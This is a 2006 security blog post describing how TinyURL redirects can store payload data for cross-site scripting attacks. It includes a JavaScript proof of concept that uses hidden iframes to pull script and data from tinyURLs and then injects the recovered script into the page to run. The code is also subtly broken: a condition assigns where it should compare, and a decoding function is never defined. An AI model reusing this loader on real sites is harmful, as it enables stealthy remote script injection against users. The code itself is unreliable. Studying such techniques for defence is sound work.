Saturday, December 30, 2006

Using TinyURL For Storage (includes PoC)

Note: To skip to the PoC click here.

I recently read the following post about trying to write something that took advantage of pdp's article of using tinyURL for storage: http://michaeldaw.org/news/news-221206/

Sadly at the time I hadn't actually read pdp's article (http://www.gnucitizen.org/blog/the-attack-of-the-tiny-urls/) further than the first couple of lines, because the title seemed rather self explanatory. Anyway, I wanted to write a comment to that post, but it didn't want to let me, maybe that's because the comments are moderated or something, so here's what I wanted to write:

Sure, you can't directly link to them and have them to redirect to data URLS, you need a different type of redirect (http://kuza55.blogspot.com/2006/11/not-all-redirection-scripts-are-created.html) for that to work. And anyway, if Location headers could redirect users to data URLs then we'd have yet another XSS vector to deal with.

What you can do though is create URLs with your data in them like this one: http://tinyurl.com/ye9kbd which redirects to http://www.google.com/search?q=data:text/html;base64,PHNjcmlwdD4NCmFsZXJ0KCd0ZXN0Jyk7DQo8L3NjcmlwdD4=

But that still leaves us with the problem of having a cross-domain browser security policy, whereby we can't even find out where the URL redirected to, unless its on our site. But since we're already attacking a site, we can easily just create a tinyURL with the data in the query string.

So lets say you were conducting an XSS attack against www.example.com you could submit http://www.example.com/#data:text/html;base64,PHNjcmlwdD4NCmFsZXJ0KCd0ZXN0Jyk7DQo8L3NjcmlwdD4= to tinyURL, get a URL back, put the tinyURL in the src attribute of an invisible iframe, then set the onLoad event (or something else, onLoad is just easy to work with) to parse the location, and then simply use that data as you need to.

And since we're using the # symbol to separate our data, it won't show up in the site's logs, since everything after it shouldn't sent by the browser.

But a more profitable method would probably be to simply post your data on a site with an insecure crossdomain.xml file, and use flash to make arbitrary requests to read that data.


Anyway, even though its taking up most of the post, its not the important part, I also got bored and wrote a PoC for pdp's idea (which is exactly the same as mine actually, but I should have read his article, :S). It needs to be run on localhost for it to work, well, either that or you need to change the tinyurls to reflect the site you're hosting it on, and you need to make sure the len argument is correct, I'm using 18 because http://localhost/# is 18 characters in length. Anyway, here's the actual code:

<html>
<body>
<script>

function getURLEncodedScriptFromTiny (tiny, len) {

    var b64iframe = document.createElement('iframe');
    b64iframe.src = tiny;
    b64iframe.style.display = 'none';
    var callback = new Function ('getb64callback(this, ' + len + ');');
    b64iframe.onload = callback;
    document.body.appendChild(b64iframe);
}

function getb64callback (iframe, len) {

    var script = iframe.contentDocument.location + '';
    script = unescape(script.substring(len));

    document.body.removeChild (iframe);

    var b64script = document.createElement('script');
    b64script.type = 'text/javascript';
    b64script.text = script;
    document.body.appendChild(b64script);

}

function getDataFromTiny (tiny, len, order) {

    var data_iframe = document.createElement('iframe');
    data_iframe.src = tiny;
    data_iframe.style.display = 'none';
    var callback = new Function ('getDatacallback(this, ' + len + ', ' + order

+ ');');
    data_iframe.onload = callback;
    document.body.appendChild(data_iframe);
}

function getDatacallback (iframe, len, order) {

    var temp = iframe.contentDocument.location + '';
    data[order] = temp.substring(len);
    loaded++;
    document.body.removeChild (iframe);
}

getURLEncodedScriptFromTiny ('http://tinyurl.com/ycx7mq', 18);

var data = new Array(2);
var loaded = 0;

getDataFromTiny ('http://tinyurl.com/w6jwb', 18, 0);
getDataFromTiny ('http://tinyurl.com/y35tuw', 18, 1);

function CheckLoaded() {
    if (loaded = 2) {
        clearInterval (tiny_wait);
        var content = document.createElement('textarea');
        content.value = decode64(data.join(''));
        content.cols = 80;
        content.rows = 20;
        document.body.appendChild(content);
    }
}

var tiny_wait = setInterval('CheckLoaded()',2000);


</script>
</body>
</html>


Note: The code WILL break if the first request to TinyURL (the one for the URL Encoded script) takes too long and finishes after the actual content has been loaded, because the CheckContentLoaded function uses the function stored on TinyURL.

Also, the code could probably be made half its size by removing the functions to get the script, and making the remaining two functions which get data from Tinyurl a little bit more agile, but its a PoC, making it work efficiently is a task left to the reader, :p

No comments: